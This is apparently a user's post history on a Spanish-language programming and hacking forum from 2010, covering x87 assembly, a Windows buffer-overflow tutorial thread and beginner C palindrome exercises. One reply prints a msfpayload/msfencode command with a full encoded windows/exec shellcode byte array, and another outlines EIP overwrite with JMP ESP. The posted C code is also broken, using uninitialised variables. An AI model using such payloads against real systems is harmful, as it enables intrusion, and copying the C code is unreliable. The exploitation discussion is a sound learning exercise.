|
1911
|
Programación / ASM / Intruccion fcmovbe - Orientacion - FPU
|
en: 17 Febrero 2010, 06:28 am
|
Bueno, estoy haciendo una investigación, sobre algunas instrucciones poco usuales de ASM, esto es para el análisis de un shellcode sacado con Metasploit, bueno no encuentro buenas referencias sobre la instrucción: fcmovbe La tengo así en depurador, es AT&T fcmovbe %st(0),%st
el original de Intel es: fcmovbe %st,%st(0)
Muchos tienen problemas par distinguir uno de otro pero bueno, eso no es el tema He dado con esto: Conditional move if below or equal http://www.asmpedia.org/index.php?title=FCMOVBEY con algunos manuales de Intel, pero tienen entre 200 y 500 hojas y pfff de aqui a que leo todo para entenderlo, tengo una ligera idea, pero necesito que alguien me pueda confirmar, st es alguna especie de registro, cual es su proposito general. Yo entiendo esto: Si st(0) es memor o igual que st, entonces mueve st(0) a st
no Entiendo. Alguna buena referencia entendible. Saludos y gracias
|
|
|
1912
|
Seguridad Informática / Hacking / Re: [Manual] Buffer Overflow en Windows
|
en: 17 Febrero 2010, 03:35 am
|
ese alpha_mixed solo te devuelve una Shellcode Alfanumerica, por eso te sale asi. Por lo que veo es bastante facil generar shellcodes xDD Anon@localhost % msfpayload windows/exec CMD=cmd Raw | msfencode -a x86 -b '\x00' -t c [*] x86/shikata_ga_nai succeeded, final size 144 unsigned char buf[] = "\x33\xc9\xb1\x1e\xba\xb1\xfc\x90\xfb\xdd\xc1\xd9\x74\x24\xf4" "\x5e\x31\x56\x0f\x83\xc6\x04\x03\x56\xba\x1e\x65\x07\x54\x9a" "\x86\xf8\xa4\xa8\xc2\xc4\x2f\xd2\xc9\x4c\x2e\xc4\x59\xe3\x28" "\x91\x01\xdc\x49\x4e\xf4\x97\x7d\x1b\x06\x46\x4c\xdb\x90\x3a" "\x2a\x1b\xd6\x45\xf3\x56\x1a\x4b\x31\x8d\xd1\x70\xe1\x76\x1e" "\xf2\xec\xfc\x41\xd8\xef\xe9\x18\xab\xe3\xa6\x6f\xf4\xe7\x39" "\x9b\x80\x0b\xb1\x5a\x7c\xba\x99\x78\x86\x7f\x7e\xb0\x70\x1f" "\xd7\xd6\xf7\x99\xe7\x9d\x48\x29\x83\xd2\x54\x9c\x18\x7a\x6d" "\x57\xe6\xf8\xad\x0d\x47\x97\xdd\x5b\x63\x38\x76\xc3\x92\x4c" "\x88\xa4\x95\xb6\xf6\x27\x0e\x39\xf3";
Esa también sirve son 144 bytes Solo se usa el -e x86/alpha_mixed cuando hay un filtro alfanumérico Saludos
|
|
|
1913
|
Seguridad Informática / Hacking / Re: [Manual] Buffer Overflow en Windows
|
en: 16 Febrero 2010, 08:25 am
|
He ikary, pues no se cual era el problema con los parámetros y el Olly, pero ya ahorita te digo que solo ocupas saber con cuantos bytes sobrescribes EIP y con eso solo ocuparías las direcciones de system y de JMP esp
Con eso he logrado ejecutar el cmd.exe. Claro que tube problemas, lo explico en el post anterior.
|
|
|
1914
|
Seguridad Informática / Hacking / Re: [Manual] Buffer Overflow en Windows
|
en: 16 Febrero 2010, 07:06 am
|
a ok, era eso entonces, aunque si para el calc.exe se ocupo 164 bytes por que para el cmd.exe se necesitan 453 xD, segun recuerdo para el cmd.exe se necesita un mínimo de 29 bytes o algo asi recuerdo segun el texto de rojodos que se cita en el mismo documento de ikary.
Eso de general shellcodes mediante herramientas, esta bien cuando tenemos prisa, sin embargo en etapas de aprendizaje es bueno saber de donde vienen.
Seria interesante usar esa misma shellcode que muestras sin nececidad de cambiar el tamaño del buffer del programa vulnerable
Saludos
|
|
|
1916
|
Programación / Ejercicios / Re: Practiquemos C++ (juntos)
|
en: 16 Febrero 2010, 04:39 am
|
LOL no me habia dado cuenta que el titulo dice "C++" xD, bueno acepto que me haga falta stdlib.h y string.h xD, en FreeBSD los tendría que poner a fuerza, pero "conio.h", micky123 no necesitas conio.h.
Ahora sobre ejercicios fáciles asi, pues no se me ocurren muchos pero ahi va uno:
Escribir un programa que lea un numero ROMANO en forma de cadena de caracteres y lo convierta en un numero Arábigo. Si ya esta repetido por ahi en las chinchetas propongan otro.
Saludos
|
|
|
1917
|
Programación / Ejercicios / Re: Practiquemos C++ (juntos)
|
en: 16 Febrero 2010, 03:53 am
|
Si se del stdlib.h sin embargo ahorita estoy en winsucks y si me lo permite con el gcc del devcpp Ahora con tu comentario de texto en mi input, es cierto pasan cosas raras, de hecho:
scanf es el que impide la entrada de texto con el formato "%d" Aun así no procesa el texto como parte de la entrada Saludos
edit ¿El que contesta el ejercicio propone otro? Saludos
|
|
|
1918
|
Programación / Ejercicios / Re: Practiquemos C++ (juntos)
|
en: 16 Febrero 2010, 03:35 am
|
Littlehorse tu código es mucho mas sencillo que el mio y mas facil de entender, sin embargo es posible ingresar también letras, ese seria "Textos capicua" xDD Edit Agrego codigo mas reducido, con la idea de Littlehorse #include<stdio.h> int main(int argc, char **argv) { int numero,len,capicua,I; char *cadena1,*cadena2; printf("Ingrese un numero: "); cadena1 = (char*)calloc(18,sizeof(char)); cadena2 = (char*)calloc(len ,sizeof(char)); I = 0; while(I < len) { cadena2[I] = cadena1[len -1 -I]; I++; } if(strcmp(cadena1 ,cadena2 ) == 0) printf("Numero %d es capicua\n",numero ); else printf("Numero %d NO es capicua\n",numero ); }
Saludos
|
|
|
1919
|
Programación / Ejercicios / Re: Practiquemos C++ (juntos)
|
en: 16 Febrero 2010, 03:19 am
|
Aquí esta el código #include<stdio.h> int main(int argc, char **argv) { int numero,len,capicua,I; char *cadena; printf("Ingrese un numero: "); cadena = (char*)calloc(18,sizeof(char)); capicua = 1; I = 0; if((len % 2) == 0) { while(I <= (len/2)) { printf("comparando %c , %c\n",cadena [I ],cadena [len - I -1]); if(cadena[I] != cadena[len - I -1]) { printf("Saliendo del ciclo\n"); capicua = 0; break; } I++; } } else { while(I < ((len-1)/2)) { printf("comparando %c , %c\n",cadena [I ],cadena [len - I -1]); if(cadena[I] != cadena[len - I -1]){ printf("Saliendo del ciclo\n"); capicua = 0; break; } I++; } } if(capicua) printf("Numero %d es capicua\n",numero ); else printf("Numero %d NO es capicua\n",numero ); }
Lo he compilado con el gcc de devcpp Saludos
|
|
|
|
|
|
|